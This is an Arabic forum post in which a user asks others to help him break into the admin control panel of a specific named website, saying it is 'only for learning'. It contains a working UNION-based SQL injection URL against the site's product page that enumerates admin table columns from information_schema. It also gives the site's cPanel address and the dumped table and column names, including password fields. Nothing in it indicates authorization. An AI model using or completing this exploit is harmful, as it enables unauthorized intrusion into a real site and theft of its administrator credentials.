بخصوص SQL Injection

The Coder · 07-13-2013, 07:46 PM

السلام عليكم و رحمة الله
ممكن مساعدة في دخول لوحة تحكم الموقع التالي فقط لهدف التعلم

رابط استغلال الموقع

كود PHP:

  http://ustrem.net/prod_info.php?id=-12%20UNION%20SELECT%201,2,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,4,5+from+information_schema.columns+where+table_name+LIKE+0x61646d696e

لوحة التحكم

كود PHP:

  http://ustrem.net:2082/

معلومات اضافية

كود PHP:

  admin:password:ustrem_ionko
admin:pass:ustrem_ionko
counter:pass:ustrem_ionko
customers:password:ustrem_ionko
emails:pass:ustrem_ion

admin:id:ustrem_ionko
admin:username:ustrem_ionko
admin:password:ustrem_ionko
admin:user:ustrem_ionko
 admin:pass:ustrem_ionk